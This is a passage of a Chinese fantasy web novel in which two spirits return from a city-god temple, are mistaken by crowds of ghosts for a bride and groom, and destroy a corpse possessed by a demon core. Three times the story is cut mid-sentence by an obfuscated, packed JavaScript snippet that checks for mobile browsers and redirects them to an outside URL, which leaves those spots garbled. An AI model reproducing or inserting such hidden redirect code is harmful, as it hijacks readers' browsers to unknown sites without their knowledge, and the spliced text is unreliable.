循声转身,埭桡才发现酆小洪竟然走了上来,周身凌厉,让他顿生出两分忌惮。 气势不如刚才教训埭骰时那般强硬,他软了几分,回答道:“同明濡染以及几位同期无常请教所知,小鬼还阳,若是遇上鬼魂游行,很容易走错道,尤其现在各条鬼道大开,一不小心就会走到其他地方去,是以,一路返程,需要我们拉着你们走。” 听到这里,第五茗拉了拉身前的酆小洪的衣袖,从他身后绕出来,赞同道:“的确是这样。” 一鬼是阴差,秉公办事;一鬼是仙君,到了城隍庙,都受了城隍官的礼,自然不能再遭鬼差轻待。 可第五茗知道,埭骰埭桡没有明濡染的眼力见,担心生出不必要的麻烦,立即向两方拉劝道:“但…鬼道基本是开在这城隍庙周围的,离开此地后,埭桡大哥其实不用那么麻烦,再说了,我们有土地给的路引,牵着我们走反而碍事。不如在里间你带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547195|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着我们,到了外面,我们跟在你们二人身后?” 末了,她又征询酆小洪意见,道:“你觉得这样可以吗?” 酆小洪叹道:“我都无妨,主要是上君你魂魄弱,需少受点这些东西。” 原是为她着想。 第五茗立即摇头道:“无碍的,那我们这边是没问题的?” 酆小洪微微颔首。 第五茗看向埭桡,继续追问道:“埭桡大哥,你觉得这样可以吗?” 埭桡有些许犹豫,她补充道:“出去以后,没有你和埭骰大哥引路,我们也是走不了多远的。” 看了看酆小洪犀利的面色没有异常,埭桡又瞧了瞧第五茗期待的面容,知对方是认真的,点点头,瘪嘴小声道:“这情况我知晓,我兄弟二人本也是这样打算,要晓得,牵着你们走,我们还更麻烦嘞。” 第五茗笑道:“多谢。” 反手拽住酆小洪的衣袖,她带着两人双手,伸出配合。 酆小洪一愣,目光一颤,任由第五茗操控着他。 一切准备就绪,埭桡拖着索命钩上的锁链,朝明濡染和埭骰所在的方向走了两步,张头探望二人进度。 此地没了外人,锁链禁锢了第五茗的行动范围,阶下急着投胎的鬼影,让她忍不住,朝身后问道:“仙君,你仙法已回,为什么还要还阳?” 声音不大,但她知道酆小洪能听见。 和先前相同,第五茗在前,酆小洪被锁在链条末端,但这次锁链比较松动,他走至和第五茗并肩,才答道:“我既不想还阳,也不急着回仙府,去何处,于我而言,都可以,也无所谓。” 顺着第五茗视线,他看向阶下鬼影,继续道:“上君和他们一样,很想做人?” 第五茗诧异道:“为何这么问?” 酆小洪笑道:“还阳一事,上君不是很着急吗?除了人看不透生死以外,上君表现得…好像也很执着。” 噗嗤一声,第五茗大笑起来,道:“原来,我在他们眼中看起来已经是这样了吗?仙君,你是不是也以为我曾是司命,又受了天罚,所以特别不服输?” 那笑容不像是假的,是真的觉得好笑,和突然被误解时会出现的正常反应。 随即,笑容就淡了下去,第五茗平复了情绪,想起亭中醉酒那会儿隐约听到的话,继续道:“仙君误会了,我只是觉得这日子过得舒坦,你也知道仙君的一身仙血还是有些用的,我本是下三道的命数,是自己使了点法子,瞒着上面,才入了人道。这一世,可废了我两碗血,仅过一半寿数,仔细想想,岂不是有点奢靡浪费。” 酆小洪道:“若是真白费了两碗血呢?” 回头看向身旁人,才发现酆小洪早已将视线从鬼影那处挪到了回来。 第五茗微怔,随即抬起双手,心疼道:“这一世,可是实打实流了两碗血啊…” 见她模样,嘴角轻咧,酆小洪被逗笑了。 他若有所思道:“血自然不能白流。” 第五茗手上铁链被拽动,他顿时反拽卸力,提醒道:“上君,我们可以上路了。” 第五茗感觉到手上链条的动静,看向了埭骰埭桡在的方位,道:“嗯,仙君,请。” 随酆小洪一起转身,回应远处埭桡的呼唤,跟着铁链的牵引,一同向前走去。 四人刚走下台阶,明濡染居然大声地在他们身后,唱道:“恭贺二位重返阳间,享盛世繁华。” 群鬼瞬间安静了下来,行走的四人也均是脚下一顿,缓了片刻,交头接耳的声音才阵阵又响起,四人也再次继续踏上还阳之路。 方才之景,明濡染倒是喜闻乐见,心中想着:瞧刚刚的阵仗,怎么着,也能在两位仙君心中留有一席之地了。 遂面上得意,身姿轻盈,他开始为此次在风雨江的奇遇感到庆幸。 这四日,空虚之地上的鬼魂早就换了一群,原先的商贩摊架堆弃在一角,商贩也没了踪影,只有排队等入鬼道的鬼魂。但因人数太多,队伍太长,小鬼闲暇之余还是在交头接耳。 勾错人,那是千百年难得一遇的事。 牌楼台阶下的小鬼听说了第五茗和酆小洪的还阳喜事后,接二连三地道贺,本来还有些拥挤的过道,在小鬼们主动分开站在两边后,变得异常宽敞。 有些只知‘他们还阳’,不知其中原委的小鬼,除了喝彩,还抓起地上的白色瘗(yi)钱洒向空中。 白晃晃的‘大铜钱’,从空中慢悠悠飘落,落在空出来的道路中,落在中间路过的四人身上,明明应该看起来更像是送葬的场景,却因为小鬼的欢呼,和第五茗同酆小洪大红喜服并肩而走,一男魂一女魂,手中还握着埭桡给的引路链琐,粗一看,明亮烈日下,竟然还有几分像人间冥婚之景。 越往外走,越不明其中所以然的小鬼,依着只言片语的贺词,还真以为是鬼魂成亲,竟当场唱和起来: “今夕何夕,得君此心,无憾兮…” “恭喜恭喜” “百年好合啊” “还阳了,说明能白头偕老,恭喜恭喜。” … 18. 消怨消怒烧功德2 场景阴森森,‘新郎’脸色沉重,前方开路无常神色紧张,除了那‘新娘’剩些热情,这一路倒没看出来有多少喜悦之色。 第五茗口干舌燥道:“误会误会,我们这是去还阳。” 此刻,她心中后悔万千,出发前,忘记向常遇春讨要两套低调点的衣服。 侧头,剜了身旁酆小洪一眼,她脚上故意慢了一些,想隔开点距离,没曾想,酆小洪却以为她步伐不稳,还解出一只手,托了托她胳膊… “小心。” 这下,更说不清了。 第五茗:“…” 一女鬼羡慕道:“不仅成了亲,还能还阳,呜呜呜呜,这种好事为什么不落在我头上…我也还未嫁过人啊。” 只有第五茗清楚,这哪是男女之间的体贴,不过是为仙者惯会做的表面功夫。 她原先也是像酆小洪这样,面上和善,处处为他人着想,但该写‘短命本子’的时候,笔下也从不会手软。 遂听见女鬼的感慨,她越过酆小洪的身子,回头安慰女鬼道:“哎…姑娘,你先别伤心,地上未有好事,可去地下寻,你一定会有的。” 还阳之后,她和酆小洪就是人,人有俗世,小鬼一语,能抵滚滚涛流,可别在这里种下因果,生出业力,她还阳日后也难得安宁。 脑海中盘旋着女鬼的话,她想着还是得解释一下,便又道:“不过,你刚刚话中前半句,对于我们二人之间的事,可闹了一个天大的误会啊。若是鬼传鬼,鬼传人,人传人,再这样传言下去,他不管是还阳,还是再下来,都是会耽误了好人家的男鬼。” 女鬼疑惑道:“你嘀嘀咕咕这么多,在说什么呢?” “…” 抽出手,第五茗指了指酆小洪背影,言简意赅道:“我们今日只是去还阳…这衣服,凑巧而已,不是成亲。” 这边还没解释清楚,那方靠近第五茗这边,同时有一男鬼感叹道:“哎~俺也还没取媳妇…我不是好人家的男鬼,不算耽误…” 眼神若有所指,望向第五茗,他黑黢黢的屠夫手,也慢慢伸向道路中。 眼见就要抓住飞舞而过的红裙,那只手,却被酆小洪投射过来的眼神堵了回去。。 那目中视线有些烫手,男鬼手上的粗皮茧子似着了火,一块一块地往地上掉。 男鬼神色慌张,嘴里嗷嗷,发不出一点声音,在原地,手捧着手,急得直蹦脚。 幸好,他身旁的一只老鬼注意到了他的情况,提醒道:“新婚之人不能得罪,会遭报应的,你撒把瘗钱,恭贺两句试试。” 男鬼怅怅不乐地学着老鬼,从地上快速捧起一把白色‘大铜钱’洒向路中,顺带别扭地唱和道:“早生贵子,多子多福…” 声音从无到有,越发响亮,他手上剥落燃烧的皮茧,顿时也跟着好了。 见状,男鬼更卖力地恭贺起来。 道路旁鬼影重叠,第五茗根本就没注意到另一旁发生的事。 她此刻比那撒瘗钱的男鬼还要急… 谗害一仙君,那功德不是得唰唰的掉。 第五茗见耐心解释无鬼听,她双手在嘴边外扩,声嘶力竭地大喊道::“误会啊,哪有成婚撒‘大铜钱’的啊,白花花的一片,哪里是喜事嘛,你们当真误会了。” 听闻这话,一小孩从队伍中挣脱,跑到那堆摊架杂物中,摘出一朵大红纸花,带了回来,砸向第五茗。 第五茗:“…” “大红花,大红花…” 小孩鬼拍拍手,满意道:“阿姐出嫁那日,最喜欢就是这个,穿红衣的姐姐肯定也喜欢。” 第五茗一怔,这孩童稚语,不好反驳,犹豫片刻,想着该如何回应,才刚抬起手,在嘴边扩开,那纸花在酆小洪指前轻点之下,飞跃而出,顿时把漫天‘大铜钱’染变成了大红色纸质花瓣。 小孩鬼被眼前场景吓到,后退数步。 旁边,有眼色的妇人,立即扔了一把手中的‘大铜钱’,见其也变成红色花絮,坚定道:“恭喜恭喜,百年好合。” 眉心一蹙,第五茗回头嗔怒道:“仙君,你怎么也跟着胡闹呢?这是做什么呢…把瘗钱换回来!” 酆小洪随手夹起一张‘大铜钱’,道:“还阳路上,瘗钱不吉利,也不好看。” 在第五茗面前,他把手中的瘗钱,瞬间变成了大红色纸花,扔向空中,逗趣道:“都说司命是小月老,喜红色,我以为上君也会喜欢呢。” 声音低了点,用两人可闻的声音,他继续道:“肉身锁法力,待还阳了,便没法子让上君随时见这喜欢的颜色了。” 红在鬼魂中,是太不讨喜的‘吉利’色,第五茗也不是很喜欢。 闻言,她嘴角抽搐道:“前半路你为什么不变?前面就吉利?都淋半路瘗钱了,现在变....” 又恹恹地,她道:“我不喜欢红色,仙君打听错了。” 不喜欢司命府,不喜欢司命的大红玉袍,她更不喜欢仙女们给司命府织的红色常服。 甚至连粉色,她也不喜欢。 “我知道…” 酆小洪手上又抓来一张瘗钱,说话间,瞬时在他手中变成了青色。 不仅如此,连花下根茎,他也一并幻了出来。 顺带着,一生二,二幻四,直到变成一束青绿色的花束,他转递到呆愣的第五茗手中,待花开始慢慢变成青色星火,随阴风散去时,他才信心满满地笑道:“是青色。” 第五茗呢喃道:“青色…” 她侧头探量酆小洪,心中确定道:他难道也是在地府做司命时结下的缘? 那时,她因为讨厌「红」,便叛逆地选了「青」。 到了地府任职,约束没有那么严谨,可以不用时时着玉袍,她就日日穿了一身青衣在地下晃荡,头上的玉钗是青绿的,脚上的鞋履是青黛的,所以,但凡是那时相遇的小鬼和鬼差,都会以为她喜欢青色。 摇了摇头,第五茗张开手,让青色星火,飞扬得更快。 这一切反应,酆小洪都看在眼里。 复而,他对眼前鬼魂之象,安慰第五茗道:“上君勿恼,出了这地,没有小鬼会识得上君,就这片刻,你便当可怜他们,随他们议论吧。” 前面拉着链锁闷头赶路的两无常,早已走到了来时入口,长长的链子就那门拖在地上,甚是尴尬。 第五茗还在因手上花束愣神,酆小洪见她既不否决,也不回应,抖动链子,提醒道:“上君瞧着路走,无常已经走到结界处了。” 第五茗空空如也的手掌握了握,浅浅“嗯”了一声,仍是陷在自己的思绪中。 不为手中青火,而是酆小洪那句‘没有小鬼识得…’,一直在她脑中迟迟不散。 此话说的没问题,可细究便可知,对「蒲小明」和「酆小洪」来说,的确是这样,但对第五茗和归位仙君来讲,却不是了。 他们和此间小鬼是不一样的。 小鬼们的一世就是一世,这事过了便是过了,而他们的一世却仅是一瞬,此番不解释清楚,留下来的果,便会如现下她遇见「酆小洪」一样,得一直受着。 她不再纠结酆小洪这位仙君究竟想干嘛,理清思绪后,急忙朝四周道:“误会啊,误会…” “切勿四处传言,有损功德啊。” “哎,这花…也是误会。” “眼见不一定为实,听我一言,这是一场误会…” “误会…” 酆小洪:“…” 这事吧,结果的确如酆小洪所言,没有以第五茗之名大肆宣扬而开,而是小鬼传说里,又多了一个群鬼都羡慕的话本——青梅竹马共黄泉,岁寿未尽返阳间。红衣加身喜得很,双双执手度华年。 便,没有然后了。 出了城隍庙,和来时路一样,他们需途经了东河镇,和镇内那二三十座村庄,才能到达平安村。 却又和来时不一样… 一来是埭骰埭桡二人有了戒备心,没有了来时热情。他们在给第五茗和酆小洪解下锁链后,便一人在前开路,一人在队伍末尾看守,暗约私定,与中间之人膈上两臂距离,警惕行事。 二来呢,这一路返程之景,实在是变化得太多。 镇上和村庄四处遍布清理淤泥碎石之人,修葺房屋的村民,神龛前祈福求平安的信徒,皆不复存在。 前几日,虽种种景象破败不堪,却是一片生机尚存,只待假以时日,定能回到灾难之前。 如今,再观这方圆之境,具是清净空辽,祸结兵连。 四处俱烧着驱散疫疾的草药,雾蒙蒙一片,偶有零星百姓白布掩面,穿梭在这片厚雾之中。 拨开浓雾,细细查看,便能发现,这雾非雾,而是烟。 掩面的百姓,也是一片病色,他们手中除了搬运草药和材火,更主要的是他们还拖拽着和他们一般身量,不再动弹的掩面百姓躯体。 草药燃烧而出的烟尘,从他们消失的尽头飘来,寻迹而去,便能看见,那方竟燃着熊熊大火,火堆里是一具又一具的尸体,烧着后,飘出许多黑烟,混着草药的浓雾,掩盖了这瘆人的地方。 不仅如此,在凡胎肉眼之外,火光之旁,浓雾之中,裹挟了不少还未来得及被无常锁魂带走的魂魄。 其中,也有和埭骰埭桡一般,临时上任的无常,因对引魂一事的不熟练,导致迟迟未能及时把鬼魂收集带入地府,同鬼魂一起焦头烂额在原地。 初见此景,排头的埭骰心有不忍,停了下来,让后方专心走路的第五茗,差点一不小心撞了上去,幸好,酆小洪眼疾手快,一把拉住了第五茗。 第五茗看清了情况,叹道:“虽世事无常,但只要他们去下一世投胎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547196|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便不会记得这一世的苦楚了。” 埭骰眼含水蕴,感同身受道:“可是…就算投胎了,也都不再是这一世了,这一世的亲友,功业,牵连…都留有遗憾。” 想到凡人一生不外乎是一本命格簿子,第五茗眼睛一闭,冷声道:“这些都不过是一则故事,讲完了便完了,没你说的那么多因果。” 头上日光晃过,她心中也生出一丝焦虑,好言催促道:“埭骰大哥,我们还是赶快上路吧,本来就在城隍庙耽搁了,再在路上停留,我们二人肉身毁了,就没法子还阳了。” 在埭骰听来,第五茗口中满不在乎的话,和她此刻的举止完全不相对。 他人一生是故事,而第五茗的一生,从她言语中听来,却不是了。 埭骰本来对第五茗心存好感,慕她心善懂得多,知事解事,处处为他人着想,此时却不这样想了。 埭骰别扭地轻哼一声,碎碎吐槽道:“自私自利…你都赶着还阳,别人就不急着投胎吗!我瞧前方那小鬼,再不从身体里拽出来,这烈日之下,那肉身估计得变尸傀了。” 二人感慨着,前方那堆尸体中,一白无常正对着尸体里迟迟叫唤不出来的鬼魂发愁,让埭骰不免想起石料场的经历,注意力顿时跑向了远处。 只见那尸体上有丝丝黑气。 埭骰此行之前,特意向同僚请教了不少,眼前景象同僚们最后讲的小鬼异变之状十分相像,他不由得满面愁容,为那白无常担忧,不经意间,便嘟囔出了这么一句话。 第五茗道:“尸傀?” 循声望去,她的眉头,随着她看见的景象,慢慢拧了起来。 双子连心,埭骰心有悸动,埭桡也是有所感应,从后面走了上来,听闻二人对话,观察着酆小洪的动静,缓和道:“埭骰,你去前方帮帮那无常,我带蒲小明和酆小洪继续赶往石料场,时间不早了,不及时回到石料场,他二人估计也难以还阳。再说了,此事是我们兄弟二人的过错,切不能再生变故。” 埭骰点头道:“好,你们先走,我稍后就追过来。” 闻言,第五茗心中一怵。 瞧见她深思的模样,酆小洪在她耳旁轻声道:“他的话过了些…但我知上君不会记恨这些,是在担忧?” 又指了指埭骰离开的方向,顺手看去,盯着那勾不起魂的白无常,和那黑气缠绕即将要异变的尸体,他道:“一介无常,怕是无力处理。” 埭桡已经开始在前方引路,第五茗跟了上去,一边摇头,一边道:“没有。” 酆小洪见状,目光一沉,不在相劝,跟了上去。 那黑气的确是鬼怨,但在城隍庙内听常遇春说了第四城隍的事,第五茗便不再对这路上所遇有过多担心了。 酆小洪却再度劝道:“上君,当真不打算过去瞧瞧?” 第五茗一顿,疑惑看向身旁人,道:“仙君…” “是不想还阳了?” 酆小洪一怔,诧异的摇了摇头,道:“不是,上君要去还阳,我自然现在是想和上君一起还阳,但我知上君比起再世为人,会更在意那些小鬼们的死活。” 眼睛在下三道受损后,能看见的并不比埭骰埭桡看见的多,第五茗反问道:“小鬼们的死活?什么意思?” 凡人一世只是一故事,对于「蒲小明」这一世,也是同样适用,第五茗并没有说假话,急着还阳,是因为她发现了有人不想她还阳,她只有到了「蒲小明」的尸体旁,可能才会找到答案。 从什么时候开始察觉的呢? 是常遇春托酆小洪带来的那一壶茶酒? 第五茗醒来后细细想过了,她这人,若是真的醉酒,会断片到不有丝毫记忆,但那壶茶酒的醉晕之际,她倒下之前发生的事,她都一直记得。 所以她昏睡四日,便不是醉酒。 她怀疑过常遇春,但那死后都不愿化厉鬼的人,怎么会给一个刚脱离肉身的小鬼送这种东西,定是有人假借他之手,送来的。 她也怀疑过身旁的酆小洪,从一开始,这人恢复仙君身后,便十分可疑。 但奈何几番询问,酆小洪都没有说过假话,甚至毫不担心将矛头引到身上,甚至这一路,还马脚毕露地看似阻挠她“还阳”。 合计下来,第五茗便认为酆小洪没有缘由将她灌醉,且刚才发问,酆小洪也未做迟疑便回答了,更消了第五茗的疑心,心中更愿相信酆小洪是受人指使,或是像常遇春一样,被人蒙骗。 尤其是即将发生的事,稍后,还让第五茗对酆小洪生出了一丝愧疚之意。 “啊!”一声惨叫,从三人身后的远处,弱弱地传了过来。 埭桡似受锥心之痛,瞬间瘫软在地。 酆小洪坦白道:“上君,那无常出事了,尸体有问题,里面有东西。” “你劝我,原是因为这样。” 19. 消怨消怒烧功德3 第五茗蹲在埭桡身旁,询问道:“可还能走动?埭骰大哥可能出事了…” 埭桡疼的龇牙咧嘴,断断续续道:“我…我知道,从小…从小…” 现在不是说过往之事的时候,第五茗打断他道:“埭桡大哥,现在需要你带我们过去。你都伤得这样厉害,埭骰大哥恐会有魂飞魄散之危。” 埭桡也急,撑着手想要站起来,可是他们兄弟二人,从小便是如此,两人仿佛一体,一人生病,另一人同样会受伤,若是一人伤重,另一人也不会好过,甚至就会卧床到不能动弹。 反复挣扎后,埭桡神色哀戚道:“酸楂上官说你二人非同凡人,是仙…求你们帮帮我们…来世必定结草相报…” 人糊涂,容易说鬼话,鬼糊涂,则容易说人话。 结草相报… 凡人轮回报恩之言都能说出来,看来这鬼差是真的疼得不轻了。 第五茗叹息一声,站了起来,凑近酆小洪身旁,问道:“仙君是方才就看到了?” 酆小洪比起刚出城隍庙的凝重神色,缓和两分,道:“嗯,那黑气颜色重了些,不是鬼魂能生出来的。” 魂魄之力,仙魂比妖魂重,妖魂比人魂厉害数倍,人魂也不是最低的,还有牲畜之魂。 第五茗猜测道:“是妖?” 酆小洪道:“嗯。” 第五茗拱手施礼,询问道:“仙君,你可愿施以援手?” 她双手被酆小洪按了下去,便听见对方道:“我不能插手,但可以借法力给上君使用。” 酆小洪伸出一只手掌到第五茗面前,腕间不再是滑稽的袖口,而是银丝金线刺绣而成的红色宽袖。 第五茗多看了两眼,有瞬间踟蹰,不多时,便道:“多谢。” 未有迟疑,她把手放了上去,口中念诀,带着酆小洪瞬息移动到了埭骰所在之地。 一腐尸一手贯穿埭骰胸口,手掌还在不停转动,好像在感受某种应该流淌而出的热液。然而那空空的心口,什么也没有,因埭骰只有魂体,被掏以后,也只是魂魄破碎了一处。 “啊!” 又是一声惨叫… 那腐尸的另一手,左挥右舞间,垂直插入匍匐在地的无常肚子中。 见状,第五茗再次询问起执手之人,道:“仙君真不能帮忙?” 酆小洪点点头道:“嗯,我还不能出面做任何事。” 手上力道加重了几分,第五茗握紧酆小洪的大手,道:“好吧,那请仙君切勿松手。” 酆小洪道:“不会…上君放心去做,我定会跟上你。” “好。” 法随意行,身随法动,两抹红影掠过,贯穿两只魂体的腐尸手腕断在了地上,而两白衣无常也在红影再次倾身上前后,无影无踪。 腐尸身体被破,开裂的嘴拼命嚎叫,没手的两只腕子捶打着面前的尸体,脑袋也前后左右地转动,寻找作对的身影。 方才一阵大乱,引得在旁脱离肉身的鬼魂想要四处逃窜,而他们却被一无形屏障困在原地,只能频频叫喊,以此释放心中恐惧,一时之间,此地惨叫声不绝。 第五茗再次拉着酆小洪欺身腐尸,查看情况。 尸体太烂了,根本瞧不出异常,还是酆小洪提醒了她仔细腐尸腹部,几经上前,第五茗才在那一堆烂肉里找到了原因——一颗绿豆大小的妖丹。 引发此番景象的小妖,原是为大水疫病拖累,戕害坏了肉身,妖丹脱体后,四处飘撞,一不小心藏在了腐烂的凡人肉身里,后又因为迟迟不得散开,慢慢为腐尸所吸收。 加上日光滋养,怨气郁结,让空无魂魄的腐尸厉变,成了势要沾染上点鲜血才能事罢干休的尸傀。 事出原因,第五茗查看清楚了,但…腐尸早闻声奔向了被困原地的群鬼。 倒霉,真的倒霉… 本来是救两只鬼,现在变成救一群鬼。 另外,救小鬼也是有区别的。 救两只鬼差并不难,要知道,修出魂体的鬼差,被打一顿,哪怕被打得魂魄支离破碎,只要把魂魄碎片收集起来,用新生水养养,就能完好如初。 可救刚脱离□□的魂魄就不一样了,这和新生的小孩一样,脆弱得很,还极易生气,生气后引出怨气又会发生异变,变成危害世间的厉鬼,不仅如此,他们又极易被摧毁,一瓶阳间烈酒,或者是一只百年小妖,亦或是一只没有魂魄的尸傀,都能叫他们化为齑粉。 必须得赌了… 第五茗把心一横,带着酆小洪奔向腐尸,和那群还在试图挣脱结界的小鬼之间,她手上借用了点酆小洪的法力。 还使了些劲,一掌将酆小洪顺手推到小鬼身旁,大喊道:“我知你也是仁慈,保他们一命。” 话闭,转身疾步,半曲身子,俯身钻入了腐尸怀抱中。 随着第五茗声音落下,这方由酆小洪手中流窜出的法力,将小鬼们包裹在一道金辉屏障之中。 “砰!” 腐尸炸裂,碎肉和浆液四处喷洒。 她没了酆小洪,就没了法力,只能又用烧血来办事。 带仙血的手捏碎了那颗绿豆大小的妖丹,释放出的威力震碎了尸体。 周遭之景,实在狼狈,实在令人作呕。 早知是这样,酆小洪才不会生出那些顾虑,一早便会出手解决了因小妖内丹异变的腐尸。 可现在后悔有什么用,第五茗身上腐尸浆液流淌,已成事实。 污浊的人影,不同的是手腕处滴落下来的血迹,那处格外红润,红到刺眼。 他快步上前,执起第五茗的手,满脸心疼,拇指掐在血脉上端,替她止了血。 浑身沾满肉泥,让第五茗都感觉得恶心,她扭转手腕,拒绝道:“脏…” 本来相握借调法力的双手,此时相互较着劲儿,一个“不肯”松手,一个“不愿”接触。 酆小洪一语「招徕」,空手探寻出玉瓶,这只玉瓶仍是第五茗在石料场见过的那只。 第五茗心道:容量真大。 瓶塞在酆小洪眼色之下,悬浮而起,进而消失。 酆小洪握住瓶身,缓缓到出里面的新生水,滴落在第五茗腕间伤口处。 伤口正在愈合,酆小洪无奈道:“上君,土地庙中时,你不是答应过,会保护好自己吗?” 第五茗道:“这点血,不碍事。” 酆小洪双手不知不觉地使了点力,玉瓶似要开裂,而第五茗手腕上没口子的地方比有口子的地方还要疼,她不适地转了转手腕,想要挣脱。 酆小洪低声责问道:“不碍事?” 对方本来就小的声音,更低沉了一些,让她放弃了手上的动作,仔细聆听。 酆小洪继续道:“雨无伤害得你险些放干身体里的仙血,饶笒定的命簿又需要你自己烧血改命,若是遇见小鬼受难,你又要放血帮他们,你这一身血…迟早会被耗干的!!” 知道的还不少… 第五茗嬉笑道:“不会不会,血怎么会被放干呢。” 一时为了安慰酆小洪,她竟忘了去追究,酆小洪为何会知晓这么多。 仙血是修炼所得,若真仔细算下来,倒是真有放干的那日。 酆小洪手上泄了力,隐忍道:“上君,以后有什么事都由我来做吧。” “啊?” 第五茗吃了一惊,找补道:“仙君也会有仙君为难的地方嘛,就像这事,你也借了我法力了,且言明了不能插手,是我自己贪心,想要都救…” 酆小洪低迷道:“我后悔了…” 心头一热,第五茗手腕上被握住的地方有些发烫,而那握来的手掌却在伤口愈合后,和在土地庙时一般,立即恭谨地收了回去,让她恍惚了那一瞬灼热。 须臾,便只听见手掌的主人再度复述道:“上君,我后悔了,以后你有什么事,都由我来做吧。” 他手掌抬了起来,金色光辉闪现,第五茗浑身上下的碎肉血浆,顿时被清理干净,喜服火红耀眼。 话过于亲昵,举动实在‘讽刺’,让第五茗有些受不住,她连连后退道:“后…后悔?不至于,不至于…” 她看着一身红衣,心里吐槽道:这结的什么因啊,这仙君怎么和天上其他人也没什么两样!!! 抬起手腕,另一手指了指腕间毫无痕迹的肌肤,面上还算和蔼,她道:“几滴新生水的事情,再说了…我也没那么多麻烦事需要解决,不劳烦仙君。” 双手摆了摆,拢起大袖,习惯性藏着抠起手指,她继续道:“我这人也没那么讲究,衣服脏了,我自己会洗,有人出事,为了面子,看不入眼之处,能帮则帮,尽力而为,不强求。再者,清理衣服都要浪费点法力,与修炼的辛苦相比,着实是有些可惜了。” 最后一句,她特意加重了语气。 酆小洪听出她话里的意思,追上两步,道:“上君,一点法力而已,存续起来,并不辛苦。况且,你以前也曾耗费法力为他人清衣的,你忘了吗?” 果真还有清衣之缘。 那会儿,第五茗因天生神格,修炼轻松,法力轻轻松松就胜同僚数倍,加上做神仙的,都很爱干净,便把这一习惯也带到了地下,遇见衣袍不洁的小鬼和阴差,第五茗都会用点法力帮别人清衣。 她清过的衣袍太多了,究竟是对方做小鬼时做的,还是成仙后所为,那区别可就有些大了。 小鬼衣服样式简单,在地下和做人一样必须任何事都得亲历而为,得了她法术帮助,自然是感激。 除非是像牛头马面一般,要用泥垢修炼护身盔甲,她假使擅自动手清理,必定惹来记恨。 若是仙君时所为,也大不相同。 为仙者最要脸面,要他人来清衣,等于是揭短。而在天上时,又因她这心中洁癖之隐,还私下为不少刚从鬼身飞升的仙君清过衣,事后仙君们知晓此事,都会找上门吵闹。 两人又没了距离,见状,第五茗无奈再退了两步,急忙道:“仙君定是个重情的,以前的小小恩惠,竟让仙君如此待我,咱们…不不不,你和我,这一来一回,核算着,也仅是市道之交,以后仙君归位泰山,我也要继续安心流转六道,仙君不必将往日之事记挂在心中,此因此缘此果,要不就到此结束吧?” 一眼扫了过来,目光耸动,酆小洪脚下踟蹰地迈出了半步。 第五茗不得不跟着又退了两步,心想:这人怎么回事,不会是有什么别的小心思吧。 摸了摸脸,想起因三分仙体,丢了两处,只有点仙血在身体里流动,容貌早受下三道气运影响,变得哀衰枯槁,便自我否定地摇了摇头,改念道:主动送来的都没什么好事,尤其是天界仙君,一个比一个闹心,定是天上过得不好了,下来寻我开心。 不怪她这么想,第五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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揉着额头的手,忽的一顿,十分疑惑:有法力的仙君还会害怕?惯是会挖苦人的! 丝弦一断,随后反应过来对方指的是什么,还未出声辩解,便听见酆小洪继续委屈道:“只是替上君清了衣服上的污迹,上君便告诫了我,要与我划清界限。刚才是在害怕擅自做事,帮了上君的忙,上君会和我割袍绝义。” “…” 第五茗喉咙一堵,额上的疼,让她懂得“识时务者为俊杰”,面子不重要,也不找补了,尬笑道:“仙君,误会啊,我的意思是,大事不能随意帮。每个人都有每个人既定的路要走,这是天上定好的命数,但…小事嘛,仙君能抬抬手,便为我们抬抬手呗。像我刚刚那般撞过来,疼的不是我啊,是仙君的身体…” 说着,便想起来刚刚力道不小,估计真把仙君身子撞坏了也说不定。 第五茗关心地问道:“我都疼得这般厉害,仙君可还好?你…没受伤吧?” 酆小洪摇摇头,却道:“有事,肋骨应该断了…” 见对方摇了摇头,第五茗心道:难怪这么轻松,原来就我和地上那‘人’有事… 然听到的话和看见的行动严重不符,让第五茗嘴上生生转了一个弯,吃惊道:“断了?” 不答反问,酆小洪心思在别处,道:“仙君方才一番话可是作数了?” 他把手中新生水,引出数滴,服入口中,又把瓶子递向第五茗,在第五茗犹豫着,手上即将要拿到瓶子的瞬间,半收了回来,挑眉道:“小事…遇见了,便帮上君抬抬手?” 谁说死后就轻松了,跟活着就没什么区别!寄人篱下,委曲求全,状若小狗,做小伏低… 啊!刚刚清衣不是为了取笑? 第五茗呆愣,细细回想,刚刚酆小洪所言所行,其实都没有调侃之意。 她点头道:“嗯。” 酆小洪敛了笑意,认真道:“我有一疑问,我抬抬手能处理的,是不是都是小事?” 第五茗道:“是这个理…” 额头肿了… 第五茗嘴里倒吸一口气,话断到了此处。 她一边忍着疼痛,一边心中苦闷:后悔了吧,先前是在矜持什么劲儿啊!能讨一时好,还在乎什么他日灾,反正对方是法力高深的仙君,你担心什么啊!!刚才腐尸爆裂,身上遍布脏秽,倒会杯中蛇影,生出些狭隘,栽赃他人了。 酆小洪笑道:“哦,那我明白上君的意思了。” 